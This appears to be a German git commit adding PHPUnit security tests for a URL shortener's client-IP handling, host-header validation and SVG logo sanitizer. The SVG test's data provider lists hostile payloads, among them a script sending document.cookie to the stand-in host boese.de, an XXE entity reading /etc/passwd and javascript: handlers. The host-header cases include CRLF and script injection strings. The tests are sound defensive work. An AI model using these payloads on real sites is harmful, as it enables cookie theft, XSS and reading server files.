test: Testsuite fuer Kernlogik, QR-Codes, Domains und Sicherheit
232 Tests, unter anderem: - Slug-Erzeugung, Kollisionsbehandlung und Validierung - URL-Validierung inklusive IDN, Prozentkodierung und abgelehnter Protokolle; Punycode gegengeprueft gegen idn_to_ascii - QR-Erzeugung in allen Groessen, mit Logo und Level-H-Automatik - Weiterleitung gegen eine echte SQLite-Datenbank samt Domain- Aufloesung ueber den Host-Header - Update einer bestehenden Installation auf mehrere Domains - Angriffsseitig: gefaelschte Proxy-Header, Host-Header-Injektion, SVG mit Skripten, XXE und externen Referenzen
This commit is contained in:
@@ -0,0 +1,194 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Tests\Security;
|
||||
|
||||
use App\Http\Request;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* Die Client-IP steuert die Login-Sperre. Liesse sie sich per Header
|
||||
* frei setzen, waere die Sperre wirkungslos - ein Angreifer koennte
|
||||
* nach jedem Fehlversuch eine neue "IP" behaupten.
|
||||
*/
|
||||
final class ClientIpTest extends TestCase
|
||||
{
|
||||
/**
|
||||
* @param array<string,string> $server
|
||||
* @param list<string> $trustedProxies
|
||||
*/
|
||||
private function request(array $server, array $trustedProxies = []): Request
|
||||
{
|
||||
return new Request(
|
||||
method: 'GET',
|
||||
path: '/',
|
||||
query: [],
|
||||
post: [],
|
||||
server: $server + ['REQUEST_METHOD' => 'GET', 'SCRIPT_NAME' => '/index.php'],
|
||||
files: [],
|
||||
trustedProxies: $trustedProxies,
|
||||
);
|
||||
}
|
||||
|
||||
public function testForwardedHeaderIsIgnoredWithoutTrustedProxies(): void
|
||||
{
|
||||
$request = $this->request([
|
||||
'REMOTE_ADDR' => '203.0.113.10',
|
||||
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
|
||||
'HTTP_X_REAL_IP' => '5.6.7.8',
|
||||
]);
|
||||
|
||||
self::assertSame('203.0.113.10', $request->clientIp());
|
||||
}
|
||||
|
||||
public function testSpoofedHeaderCannotRotateTheIdentity(): void
|
||||
{
|
||||
// Ohne Proxy-Konfiguration muessen alle Versuche dieselbe
|
||||
// Kennung ergeben - sonst waere die Sperre umgehbar.
|
||||
$seen = [];
|
||||
|
||||
foreach (['1.1.1.1', '2.2.2.2', '3.3.3.3', 'unsinn', ''] as $spoofed) {
|
||||
$seen[] = $this->request([
|
||||
'REMOTE_ADDR' => '203.0.113.10',
|
||||
'HTTP_X_FORWARDED_FOR' => $spoofed,
|
||||
])->clientIp();
|
||||
}
|
||||
|
||||
self::assertSame(['203.0.113.10'], array_values(array_unique($seen)));
|
||||
}
|
||||
|
||||
public function testForwardedHeaderIsUsedBehindATrustedProxy(): void
|
||||
{
|
||||
$request = $this->request(
|
||||
[
|
||||
'REMOTE_ADDR' => '10.0.0.5',
|
||||
'HTTP_X_FORWARDED_FOR' => '203.0.113.77',
|
||||
],
|
||||
['10.0.0.0/8'],
|
||||
);
|
||||
|
||||
self::assertSame('203.0.113.77', $request->clientIp());
|
||||
}
|
||||
|
||||
public function testChainOfProxiesReturnsTheOutermostUntrustedAddress(): void
|
||||
{
|
||||
$request = $this->request(
|
||||
[
|
||||
'REMOTE_ADDR' => '10.0.0.5',
|
||||
'HTTP_X_FORWARDED_FOR' => '203.0.113.77, 10.0.0.9, 10.0.0.5',
|
||||
],
|
||||
['10.0.0.0/8'],
|
||||
);
|
||||
|
||||
self::assertSame('203.0.113.77', $request->clientIp());
|
||||
}
|
||||
|
||||
public function testInjectedGarbageBehindProxyFallsBackToRemoteAddr(): void
|
||||
{
|
||||
// Ein Angreifer haengt Unsinn an, um die Auswertung zu stoeren.
|
||||
$request = $this->request(
|
||||
[
|
||||
'REMOTE_ADDR' => '10.0.0.5',
|
||||
'HTTP_X_FORWARDED_FOR' => '203.0.113.77, kein-ip',
|
||||
],
|
||||
['10.0.0.0/8'],
|
||||
);
|
||||
|
||||
self::assertSame('10.0.0.5', $request->clientIp());
|
||||
}
|
||||
|
||||
public function testUntrustedRemoteAddrIgnoresForwardedEvenIfProxiesConfigured(): void
|
||||
{
|
||||
$request = $this->request(
|
||||
[
|
||||
'REMOTE_ADDR' => '198.51.100.4',
|
||||
'HTTP_X_FORWARDED_FOR' => '203.0.113.77',
|
||||
],
|
||||
['10.0.0.0/8'],
|
||||
);
|
||||
|
||||
self::assertSame('198.51.100.4', $request->clientIp());
|
||||
}
|
||||
|
||||
public function testPortIsStrippedFromForwardedAddress(): void
|
||||
{
|
||||
$request = $this->request(
|
||||
[
|
||||
'REMOTE_ADDR' => '10.0.0.5',
|
||||
'HTTP_X_FORWARDED_FOR' => '203.0.113.77:51234',
|
||||
],
|
||||
['10.0.0.0/8'],
|
||||
);
|
||||
|
||||
self::assertSame('203.0.113.77', $request->clientIp());
|
||||
}
|
||||
|
||||
public function testMissingRemoteAddrIsHandled(): void
|
||||
{
|
||||
self::assertSame('0.0.0.0', $this->request([])->clientIp());
|
||||
self::assertSame('0.0.0.0', $this->request(['REMOTE_ADDR' => 'quatsch'])->clientIp());
|
||||
}
|
||||
|
||||
// --- HTTPS-Erkennung ---------------------------------------------
|
||||
|
||||
public function testForwardedProtoIsOnlyTrustedBehindAProxy(): void
|
||||
{
|
||||
$spoofed = $this->request([
|
||||
'REMOTE_ADDR' => '203.0.113.10',
|
||||
'HTTP_X_FORWARDED_PROTO' => 'https',
|
||||
]);
|
||||
self::assertFalse($spoofed->isSecure());
|
||||
|
||||
$behindProxy = $this->request(
|
||||
[
|
||||
'REMOTE_ADDR' => '10.0.0.5',
|
||||
'HTTP_X_FORWARDED_PROTO' => 'https',
|
||||
],
|
||||
['10.0.0.0/8'],
|
||||
);
|
||||
self::assertTrue($behindProxy->isSecure());
|
||||
}
|
||||
|
||||
public function testDirectHttpsIsDetected(): void
|
||||
{
|
||||
self::assertTrue($this->request(['HTTPS' => 'on'])->isSecure());
|
||||
self::assertTrue($this->request(['SERVER_PORT' => '443'])->isSecure());
|
||||
self::assertFalse($this->request(['HTTPS' => 'off'])->isSecure());
|
||||
self::assertFalse($this->request([])->isSecure());
|
||||
}
|
||||
|
||||
// --- Host-Header --------------------------------------------------
|
||||
|
||||
/**
|
||||
* @return array<string,array{0:string,1:string}>
|
||||
*/
|
||||
public static function hostProvider(): array
|
||||
{
|
||||
return [
|
||||
'einfach' => ['kurz.example.de', 'kurz.example.de'],
|
||||
'mit Port' => ['kurz.example.de:8080', 'kurz.example.de:8080'],
|
||||
'Grossbuchstaben' => ['Kurz.Example.DE', 'kurz.example.de'],
|
||||
'IPv6' => ['[2001:db8::1]', '[2001:db8::1]'],
|
||||
'Injektion mit Slash' => ['example.de/pfad', ''],
|
||||
'Injektion mit Zeilenumbruch' => ["example.de\r\nX-Fake: 1", ''],
|
||||
'Injektion mit Leerzeichen' => ['example.de boese.de', ''],
|
||||
'Injektion mit @' => ['boese.de@example.de', ''],
|
||||
'Injektion mit Anfuehrungszeichen' => ['example.de"><script>', ''],
|
||||
'leer' => ['', ''],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider hostProvider
|
||||
*/
|
||||
public function testHostHeaderIsValidated(string $header, string $expected): void
|
||||
{
|
||||
self::assertSame($expected, $this->request(['HTTP_HOST' => $header])->host());
|
||||
}
|
||||
|
||||
public function testOverlongHostIsRejected(): void
|
||||
{
|
||||
self::assertSame('', $this->request(['HTTP_HOST' => str_repeat('a', 300) . '.de'])->host());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Tests\Security;
|
||||
|
||||
use App\Qr\LogoStore;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* SVG ist XML und darf Skripte, externe Referenzen und Entities
|
||||
* enthalten. Ein hochgeladenes Logo darf daraus nichts mitbringen -
|
||||
* weder fuer den Browser (gespeichertes XSS) noch fuer ImageMagick
|
||||
* beim Rastern (Abruf fremder Adressen vom Server aus).
|
||||
*/
|
||||
final class SvgSanitizerTest extends TestCase
|
||||
{
|
||||
private string $uploadDir;
|
||||
private string $tmpDir;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
$suffix = bin2hex(random_bytes(4));
|
||||
$this->uploadDir = sys_get_temp_dir() . '/urlshort-svg-' . $suffix;
|
||||
$this->tmpDir = sys_get_temp_dir() . '/urlshort-svgtmp-' . $suffix;
|
||||
mkdir($this->uploadDir, 0775, true);
|
||||
mkdir($this->tmpDir, 0775, true);
|
||||
}
|
||||
|
||||
protected function tearDown(): void
|
||||
{
|
||||
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
|
||||
foreach (glob($dir . '/*') ?: [] as $file) {
|
||||
unlink($file);
|
||||
}
|
||||
if (is_dir($dir)) {
|
||||
rmdir($dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function store(string $svg): string
|
||||
{
|
||||
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
|
||||
file_put_contents($path, $svg);
|
||||
|
||||
$store = new LogoStore($this->uploadDir);
|
||||
$filename = $store->store([
|
||||
'name' => 'logo.svg',
|
||||
'tmp_name' => $path,
|
||||
'size' => strlen($svg),
|
||||
'error' => UPLOAD_ERR_OK,
|
||||
], 1);
|
||||
|
||||
return (string) file_get_contents($this->uploadDir . '/' . $filename);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string,array{0:string,1:list<string>}>
|
||||
*/
|
||||
public static function payloadProvider(): array
|
||||
{
|
||||
$open = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">';
|
||||
$close = '</svg>';
|
||||
|
||||
return [
|
||||
'Skriptblock' => [
|
||||
$open . '<script>fetch("//boese.de?c="+document.cookie)</script>' . $close,
|
||||
['<script', 'fetch('],
|
||||
],
|
||||
'Skript selbstschliessend' => [
|
||||
$open . '<script src="//boese.de/x.js"/>' . $close,
|
||||
['<script', 'boese.de'],
|
||||
],
|
||||
'onload-Handler' => [
|
||||
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" viewBox="0 0 10 10">' . $close,
|
||||
['onload', 'alert(1)'],
|
||||
],
|
||||
'onclick ohne Anfuehrungszeichen' => [
|
||||
$open . '<circle cx="5" cy="5" r="4" onclick=alert(1)/>' . $close,
|
||||
['onclick', 'alert(1)'],
|
||||
],
|
||||
'onbegin in animate' => [
|
||||
$open . '<animate onbegin="alert(1)" attributeName="x"/>' . $close,
|
||||
['onbegin', 'alert(1)'],
|
||||
],
|
||||
'javascript-href' => [
|
||||
$open . '<a href="javascript:alert(1)">x</a>' . $close,
|
||||
['javascript:'],
|
||||
],
|
||||
'externe xlink:href' => [
|
||||
$open . '<use xlink:href="https://boese.de/payload.svg#x"/>' . $close,
|
||||
['boese.de'],
|
||||
],
|
||||
'externes Bild' => [
|
||||
$open . '<image href="http://boese.de/track.png" width="10" height="10"/>' . $close,
|
||||
['boese.de'],
|
||||
],
|
||||
'file-Referenz' => [
|
||||
$open . '<image href="file:///etc/passwd" width="10" height="10"/>' . $close,
|
||||
['/etc/passwd', 'file:'],
|
||||
],
|
||||
'XXE per Entity' => [
|
||||
'<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
|
||||
. $open . '<text>&xxe;</text>' . $close,
|
||||
['<!DOCTYPE', '<!ENTITY', '/etc/passwd'],
|
||||
],
|
||||
'externes Stylesheet' => [
|
||||
'<?xml-stylesheet type="text/css" href="https://boese.de/x.css"?>' . $open . $close,
|
||||
['xml-stylesheet', 'boese.de'],
|
||||
],
|
||||
'CSS-Import' => [
|
||||
$open . '<style>@import url("https://boese.de/x.css");</style>' . $close,
|
||||
['@import', 'boese.de'],
|
||||
],
|
||||
'CSS url() nach aussen' => [
|
||||
$open . '<rect fill="url(https://boese.de/x.svg#p)" width="10" height="10"/>' . $close,
|
||||
['boese.de'],
|
||||
],
|
||||
'foreignObject mit HTML' => [
|
||||
$open . '<foreignObject><body xmlns="http://www.w3.org/1999/xhtml">'
|
||||
. '<script>alert(1)</script></body></foreignObject>' . $close,
|
||||
['foreignObject', '<script', 'alert(1)'],
|
||||
],
|
||||
'iframe' => [
|
||||
$open . '<iframe src="https://boese.de/"></iframe>' . $close,
|
||||
['<iframe', 'boese.de'],
|
||||
],
|
||||
'Grossschreibung' => [
|
||||
$open . '<SCRIPT>alert(1)</SCRIPT>' . $close,
|
||||
['alert(1)'],
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $forbidden
|
||||
* @dataProvider payloadProvider
|
||||
*/
|
||||
public function testPayloadsAreRemoved(string $svg, array $forbidden): void
|
||||
{
|
||||
$stored = $this->store($svg);
|
||||
|
||||
foreach ($forbidden as $needle) {
|
||||
self::assertStringNotContainsStringIgnoringCase(
|
||||
$needle,
|
||||
$stored,
|
||||
sprintf('"%s" darf nach der Bereinigung nicht mehr enthalten sein.', $needle),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function testHarmlessContentSurvives(): void
|
||||
{
|
||||
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">'
|
||||
. '<defs><linearGradient id="verlauf"><stop offset="0" stop-color="#0b4f9e"/></linearGradient></defs>'
|
||||
. '<rect width="100" height="100" fill="url(#verlauf)"/>'
|
||||
. '<circle cx="50" cy="50" r="40" fill="#ff0000"/>'
|
||||
. '<path d="M10 10 L90 90" stroke="#000000" stroke-width="2"/>'
|
||||
. '<use href="#verlauf"/>'
|
||||
. '</svg>';
|
||||
|
||||
$stored = $this->store($svg);
|
||||
|
||||
self::assertStringContainsString('<circle', $stored);
|
||||
self::assertStringContainsString('#ff0000', $stored);
|
||||
self::assertStringContainsString('<path', $stored);
|
||||
// Interne Verweise bleiben erhalten, sonst waeren Verlaeufe kaputt.
|
||||
self::assertStringContainsString('url(#verlauf)', $stored);
|
||||
self::assertStringContainsString('href="#verlauf"', $stored);
|
||||
}
|
||||
|
||||
public function testEmbeddedRasterImageIsKept(): void
|
||||
{
|
||||
$dataUri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=';
|
||||
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||
. '<image href="' . $dataUri . '" width="10" height="10"/></svg>';
|
||||
|
||||
$stored = $this->store($svg);
|
||||
|
||||
self::assertStringContainsString('data:image/png;base64,', $stored);
|
||||
}
|
||||
|
||||
public function testEncodedJavascriptHrefIsRemoved(): void
|
||||
{
|
||||
// HTML-Entities werden vor der Pruefung aufgeloest.
|
||||
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||
. '<a href="javascript:alert(1)">x</a></svg>';
|
||||
|
||||
$stored = $this->store($svg);
|
||||
|
||||
self::assertStringNotContainsStringIgnoringCase('alert(1)', $stored);
|
||||
self::assertStringNotContainsStringIgnoringCase('avascript:', $stored);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user